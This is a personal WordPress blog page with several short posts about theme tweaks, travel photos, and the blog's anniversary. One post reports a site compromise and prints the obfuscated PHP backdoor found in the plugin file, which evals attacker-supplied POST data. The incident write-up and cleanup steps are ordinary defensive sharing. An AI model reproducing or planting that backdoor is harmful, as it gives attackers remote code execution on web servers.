HeiseHeise.com

The Personal Blog of Zach Heise

Exiting the Siq in Petra Jordan, 2008
Exiting the Siq in Petra Jordan, 2008

A random image. Reload page for more. Want more info?

Category: Blurb

  • “Responsive” videos and images at last!

    I’ll make no secret of the fact that this blog is 10 years old; something I’m very proud of. However, I’m less proud of the fact that my theme, based on Talian 1.0, is also 10 years old. The maker of the the theme, Steve Arun, seems to have entirely pivoted away from themes to focus on his Virtual Assistant business, and there’s no visible mention of it on his site anymore, nor on the FB page he made for his theme(?!?)

    My previous blog post was a test of whether or not I could make a post on mobile, while at a concert, and have it not look like complete crap. Well, H265 encoded videos having no video and only audio aside (hey, at least they work in Safari, Edge, and Internet Explorer!), the pictures were the main problem. A Galaxy S9 photo defaults to what, 4k by 2.2k resolution? When Talian 1.0 was built in 2006, no one was putting pictures that size on the internet. Who’d be able to download them without it taking 5 minutes per photo?

    WordPress rolled out “responsive images” back in v4.4 and I was left in the dust. Whenever I uploaded an image onto the internet, be it on mobile or desktop, I’d have to carefully handcraft each entry, making sure horizontal width didn’t exceed the fixed-width “body” of 400px (heh, the old days when 1920×1200 was a big screen).

    Today, I’ve discovered the CSS entry “max-entry: 100%” and that % sign is my new best friend. I’ve stuck that onto the img, video, and iframe elements (for Youtube embeds) of the venerable Talian’s stylesheet, and from now on, no more needing to monkey with images quite so much.

    Also, Christine and I made Soy Deviled Eggs for Thanksgiving Yesterday. They were delicious.

    No messing with this image! Well, except to set the open-in-new-tab function. Grr.
  • 10 Years!

    Today marks ten years since I downloaded and installed WordPress 2.1.3 on my little corner of the internet, mostly to give my parents a means of checking up on me when I took my summer trip to the United Kingdom later in the month of May. My first blog post was the equivalent of “Hello World” and very few people know or remember that very briefly, this blog briefly occupied a /blog subfolder instead of the place of honor at the top of the domain. At that point I thought the website might serve as a repository for a CV and other documents, and I didn’t know if I wanted to commit to what I thought of as a bland, boring “every page on the internet is a damned wordpress blog!” look. It would be a year before I’d scrap that original, now forgotten, look and commit wholly to WordPress.

    The blog served me well for my two years of living in Jordan, and it definitely doesn’t get updated as much anymore (except for navel-gazing, like to celebrate having basic web security or to commemorate a decade of its own existence, geez that’s corny), but perhaps I’ll have some exciting news to share next week.

  • Tanzania pictures are up!

    Wow, this guy really knows how to have an exciting Saturday night
    Wow, this guy really knows how to have an exciting Saturday night

    I had some free time this evening so was finally able to get around to getting some nice pictures from my Panasonic LX-5 uploaded to the blog. Every single article has had the weird mobile-app caused formatting fixed, I’ve corrected a lot of typos that not having a spell checker running caused, and most importantly, no less than 40 new photos have been added in total, usually at least 3-4 onto every entry from the trip. Please feel free to scroll back and check ’em out! You can view the posts in the correct order (starting with the end of December) at this link – http://www.heiseheise.com/category/travel/tanzania?order=asc

  • New mobile theme

    Google apparently punishes website folks if they don’t have a mobile-ready version of their site ready to go. As I was poking around, trying to get old Facebook video embed links to work on some old posts, I tried checking out those pages on my phone to see how they looked there. Imagine my irritation (I would go so far as to say it was mild! quite mild!) when I saw that the entire thing was completely busted and didn’t even show a search link anymore. That former plugin is called WP Mobile Detector, and while it was “great while it lasted” it seems it hasn’t gotten a real function update since sometime in 2015, which in the webdev world might as well be 1986. Or, more likely, they stopped offering the free version I installed in 2012/2013, didn’t tell me, and moved to a paid license only model, leaving us free bloggers out on the vine to wither.

    Enter new, top-of-google-search-results-for “best wordpress mobile theme” WPTouch. You can view it on your phone by visiting this website. Maybe you’re doing so at this moment in which case, isn’t it beautiful? Looks very slick to me, considering the old one looked like something from the first generation of iPhone.

    Comparison – then and now.

    This slideshow requires JavaScript.

  • Site attacked via the built-in “Health Check” plugin

    I might not update much anymore, but I still want the blog to remain as a record of my travels. This afternoon I got an email from 1and1, my webhost, telling me that the following file was “under attack” –

    ~/blog/wp-content/plugins/health-check/code.php

    I was surprised, and immediately went into my SFTP client to download and check the file. It was an old plugin, I must have installed it as part of the PHP4 -> 5 changeover I did sometime while I was in Jordan to see what version was being reported. Tellingly, the plugin had never been updated, and I can’t seem to find it anymore in WordPress’s extension/plugin repository (although maybe this is it, as it’s named health-check in their database).

    More chillingly, viewing the website in a browser yielded an error pertaining to my wp-includes folder, a settings file, that was no longer functioning. White screen; that’s it.

    When I tried to download code.php to my computer to inspect it, Windows Defender immediately flagged the file as malware and deleted. Since I was on my work machine at the time, I had to talk to my colleague next door (who runs our antivirus scanner) to unblock the file! It was gobbledegook anyway – here’s what was inside it:

    <?php                                                                                                                                                                                                                                                                      $scol4 =”t_psroue” ; $fcen0= $scol4[3]. $scol4[0].$scol4[4]. $scol4[0].$scol4[5].$scol4[6]. $scol4[2]. $scol4[2].$scol4[7]. $scol4[4]; $jphf86 =$fcen0 ( $scol4[1].$scol4[2].$scol4[5].$scol4[3]. $scol4[0] ) ; if ( isset( ${ $jphf86 }[‘qd6e706’ ]) ) { eval ( ${ $jphf86}[ ‘qd6e706’]); }?>

    Anyway, using this thread here, the easy fix was just to entirely purge the wp-admin and wp-include folders and replace them with fresh downloads from wordpress.org. Once I did that, everything started working again. But it was quite a scare, especially since I cheaped out with 1and1 last year when they begged me to upgrade from my $4 a month hosting to something with backup capability. I run my own backups…sometimes. Heh. Guess I should do that now.

    Update, June 6th – Found it. It’s almost positive that this was the cause of one of the infection, as today I was notified of flaws in the WP-Mobile-Detector plugin. I applied the patch right away, although weirdly enough it still shows the “last modified” date for the resize.php file as being February 2016, not June.

  • Caitlin, take the (blogging) wheel!

    My friend, colleague and fellow traveler Caitlin is moving through her blogposts faster than I am! She writes over at Tastiest of Noms and has already even gotten through her Istanbul entries for our arrival in Jordan. Some of the pictures you see on the site are hers, some of them are mine. She doesn’t really mention which are which. I’ll…uh…start writing as soon as the writing bug hits…

    Update – here are (I think) all her posts re: our 2015 trip to Jordan. She wrote specifically on the Dead2Red 2015 race – which we won, spoiler!! – here.